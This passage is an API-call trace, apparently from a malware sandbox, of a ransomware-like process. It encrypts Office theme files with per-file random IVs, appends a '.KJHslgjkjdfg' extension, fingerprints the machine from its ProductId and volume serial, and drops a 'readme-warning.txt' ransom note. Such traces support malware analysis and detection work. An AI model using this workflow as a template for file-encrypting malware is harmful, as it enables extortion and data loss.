lpNumberOfBytesWritten=0x4dfefe8*=0x7, lpOverlapped=0x0) returned 1 [0179.463] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0179.463] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0179.463] GetProcessHeap () returned 0x2ef0000 [0179.463] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0179.463] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0179.463] CryptDestroyKey (hKey=0x2f18308) returned 1 [0179.463] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0179.464] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0179.464] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0179.464] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0179.464] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0179.464] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0179.464] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0179.464] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0179.464] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.464] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3d79, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x3d79, lpOverlapped=0x0) returned 1 [0179.996] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x3d80, dwBufLen=0x3d80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x3d80) returned 1 [0179.997] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.997] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x3d80, lpOverlapped=0x0) returned 1 [0179.997] CryptDestroyKey (hKey=0x2f18308) returned 1 [0179.997] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x3e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.997] SetEndOfFile (hFile=0x12c) returned 1 [0180.000] GetProcessHeap () returned 0x2ef0000 [0180.000] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0180.000] GetProcessHeap () returned 0x2ef0000 [0180.000] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0180.000] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0180.001] CloseHandle (hObject=0x12c) returned 1 [0180.003] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0180.003] GetProcessHeap () returned 0x2ef0000 [0180.003] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0180.003] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0180.003] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0180.003] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.003] GetProcessHeap () returned 0x2ef0000 [0180.003] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0180.003] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0180.003] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0180.003] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.004] GetProcessHeap () returned 0x2ef0000 [0180.004] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0180.004] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0180.004] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0180.004] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.004] GetProcessHeap () returned 0x2ef0000 [0180.004] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0180.004] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0180.004] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0180.004] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.004] GetProcessHeap () returned 0x2ef0000 [0180.004] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0180.004] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0180.004] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0180.004] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.004] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0180.004] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0180.005] RegCloseKey (hKey=0x12c) returned 0x0 [0180.005] GetProcessHeap () returned 0x2ef0000 [0180.005] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0180.005] GetProcessHeap () returned 0x2ef0000 [0180.005] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0180.005] GetProcessHeap () returned 0x2ef0000 [0180.005] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0180.005] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0180.005] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0180.005] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.005] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0180.005] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0180.006] GetProcessHeap () returned 0x2ef0000 [0180.006] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0180.006] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0180.006] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0180.006] GetProcessHeap () returned 0x2ef0000 [0180.006] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0180.006] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\readme-warning.txt") returned 82 [0180.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.007] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0180.008] CloseHandle (hObject=0x12c) returned 1 [0180.008] GetProcessHeap () returned 0x2ef0000 [0180.008] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0180.008] GetProcessHeap () returned 0x2ef0000 [0180.008] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0180.008] GetProcessHeap () returned 0x2ef0000 [0180.008] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0180.008] GetProcessHeap () returned 0x2ef0000 [0180.008] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0180.008] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0180.008] GetProcessHeap () returned 0x2ef0000 [0180.008] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0180.008] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0180.008] GetProcessHeap () returned 0x2ef0000 [0180.008] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x92) returned 0x2f170f8 [0180.008] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0180.010] GetProcessHeap () returned 0x2ef0000 [0180.010] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170f8 | out: hHeap=0x2ef0000) returned 1 [0180.010] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.010] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0180.010] GetProcessHeap () returned 0x2ef0000 [0180.010] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x294) returned 0x2f10788 [0180.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.011] GetProcessHeap () returned 0x2ef0000 [0180.011] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0180.011] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0180.011] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0180.011] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xe, lpOverlapped=0x0) returned 1 [0180.019] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0180.019] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0180.019] GetProcessHeap () returned 0x2ef0000 [0180.019] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0180.019] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0180.019] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.019] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0180.019] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0180.020] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0180.020] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0180.020] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0180.020] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0180.020] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0180.020] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0180.020] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.020] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf82, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xf82, lpOverlapped=0x0) returned 1 [0180.020] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xf90, dwBufLen=0xf90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xf90) returned 1 [0180.020] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.020] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xf90, lpOverlapped=0x0) returned 1 [0180.021] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.021] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x1064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.021] SetEndOfFile (hFile=0x12c) returned 1 [0180.023] GetProcessHeap () returned 0x2ef0000 [0180.023] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0180.023] GetProcessHeap () returned 0x2ef0000 [0180.023] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0180.023] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.kjhslgjkjdfg")) returned 1 [0180.024] CloseHandle (hObject=0x12c) returned 1 [0180.025] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 1 [0180.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.044] GetProcessHeap () returned 0x2ef0000 [0180.044] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0180.044] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0180.044] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0180.044] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x2, lpOverlapped=0x0) returned 1 [0180.068] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0180.068] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0180.068] GetProcessHeap () returned 0x2ef0000 [0180.068] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0180.068] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0180.068] CryptDestroyKey (hKey=0x2f18308) returned 1 [0180.068] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0180.068] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0180.068] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0180.068] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0180.069] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0180.069] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0180.069] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0180.069] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0180.069] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.069] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1205e, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1205e, lpOverlapped=0x0) returned 1 [0180.158] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, 